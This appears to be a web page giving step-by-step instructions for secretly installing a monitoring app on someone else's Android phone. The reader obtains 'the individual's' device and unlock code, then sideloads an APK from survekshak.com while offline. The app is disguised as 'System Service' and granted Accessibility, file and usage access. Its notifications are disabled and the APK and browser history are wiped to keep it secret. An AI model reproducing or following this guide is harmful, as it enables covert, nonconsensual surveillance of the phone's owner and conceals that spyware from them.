๐
Getting Started
Important things to know before you begin
โฐ Estimated Time: 2-3 minutes
Please read all instructions carefully before starting. Keep this guide open throughout the installation process.
1
Follow steps in order - don't skip any
2
Complete Steps 3-4 OFFLINE (turn off internet)
3
Have the device and its unlock pattern/password ready
4
Keep this guide accessible during installation
1
Get Device Access
Prepare the Android device for installation
1
Obtain the individual's mobile device
2
Ask for the device's unlock pattern or password
3
Ensure you have full access to navigate settings
2
Download the App
Get the application file from our website
1
Open any web browser on the device (Chrome, Firefox, etc.)
2
Go to: survekshak.com
3
Scroll down and find the last button on the page
4
Click the button labeled: "Download Dera File"
5
Wait patiently for download to complete
๐ฑ Where to find downloaded file?
After download, look in your browser's "Downloads" section or check "Files" app โ "Download" folder
3
Go Offline
Disconnect internet before installation
1
Open Quick Settings (swipe down from top)
2
Tap Wi-Fi icon to turn it OFF (gray means off)
3
Tap Mobile Data icon to turn it OFF
4
Verify device is completely offline (no internet access)
๐จ CRITICAL STEP - DO NOT SKIP
This step must be completed before proceeding to installation. The app will only install properly when device is offline.
4
Install Application
Install the downloaded file on device
1
Open Files app and go to "Downloads" folder
2
Tap the downloaded APK file (ends with .apk)
3
If asked about "Unknown Sources", tap "Settings" โ Enable "Allow from this source"
4
Follow the on-screen prompts to complete installation
5
Once finished, tap "Done" (not "Open")
5
Reconnect Internet
Turn internet back on for registration
1
Swipe down for Quick Settings
2
Tap Wi-Fi icon to turn ON (blue means on)
3
Turn on Mobile Data if needed
4
Enable Location Services (GPS)
๐ Verify Connection
Open browser and visit any website to confirm internet is working properly
6
Register Application
Activate the app with unique code
1
Go back to survekshak.com in browser
2
Tap "Refresh" button on browser
3
Click the second button labeled "Update Dera Data"
4
The installed app will automatically open
๐ Registration Code Format:
48 + [Company First Letter] + [Owner's First Name]
Example: Alpha company, owner Fareed = 48AFareed
5
When prompted, enter your Unique Registration Code
6
Double-check code for correct spelling
7
Tap "Submit" or "OK"
7
Allow Permissions
Grant necessary app permissions
๐ Grant All Permissions
The app needs all requested permissions to function properly. Tap "Allow" for every permission request.
1
When asked for Accessibility Service, tap "Go to Settings"
2
Find "System Service" in the list (even if greyed out)
3
Tap it and return to the app
4
For Battery Optimization, choose: "Allow" or "No Restriction"
5
Close the app completely after permissions are granted
8
Advanced Settings
Configure app for optimal performance
A. Enable Restricted Settings
1
Go to Settings โ Apps
2
Find and tap "System Service"
3
Tap three dots (โฎ) โ "Allow Restricted Settings"
B. Disable Notifications
1
In "System Service" settings, go to "Notifications"
2
Turn OFF all notification toggles
C. Battery Management
1
In "System Service" settings, find "Battery Usage"
2
Enable "Allow Background Activity"
3
Enable "Allow Auto Launch"
D. Enable Accessibility
1
Go to Settings โ Accessibility
2
Find "System Service" (now accessible)
3
Toggle ON and return to home screen
E. File Access Permission
1
Search "All File Access" in Settings
2
Find "System Service" โ Enable permission
F. Usage Access Permission
1
Search "Usage Access" in Settings
2
Find "System Service" โ Enable permission
9
Battery & Autostart Settings
Prevent system from stopping the app and allow auto-launch
โญ๏ธ SKIP THIS SECTION IF:
You successfully completed Step C (Battery Management) in Section 8 with both "Allow Background Activity" and "Allow Auto Launch".
๐ฑ Battery Optimization Settings
1
Go to Settings โ Battery โ Battery Optimization
2
Tap dropdown and select "All Apps"
3
Find "System Service" in the list
4
Change to: "Don't Optimize"
5
Confirm the setting
โ
Verification:
Battery Optimization for "System Service" should show:
"Don't Optimize"
๐ Autostart Permission
1
In Settings, search for "Autostart" or "Background Autostart"
2
Alternative path: Settings โ Apps โ Special Permissions โ Autostart
3
Find "System Service" in the applications list
4
Enable the toggle switch for autostart
5
Select "Allow Unrestricted Data" if prompted
๐ Can't Find Autostart?
Some Android devices don't have Autostart settings. If you can't find it, don't worry -
the Battery Optimization setting is usually sufficient.
๐ฏ What These Settings Do:
Battery Optimization:
Prevents Android from putting the app to sleep to save battery
Autostart:
Allows app to start automatically after device restart
10
Cleanup & Finish
Remove installation files for security
1
Open Files app or browser downloads
2
Delete the downloaded APK file
3
Open browser and clear browsing history
4
Clear download history as well
๐งน Why Cleanup?
Removing installation files ensures secrecy of the App.
โ
Verification Checklist
Confirm everything is properly configured
๐ Click each item to mark as complete
Verify all permissions are correctly set for optimal app performance.
App Permissions Checklist
Accessibility Service: Enabled
Battery: Don't Optimize
Restricted Settings: Allowed
File Access: Allowed
Usage Access: Enabled
Background Activity: Allowed
Auto Launch: Enabled
Notifications: Disabled
Cleanup Checklist
APK file: Deleted
Browser history: Cleared
โ ๏ธ IMPORTANT REMINDERS
1
Installation MUST be done OFFLINE (Steps 3-4)
2
Registration code format: 48 + Company Initial + First Name
3
System Service must remain enabled in all settings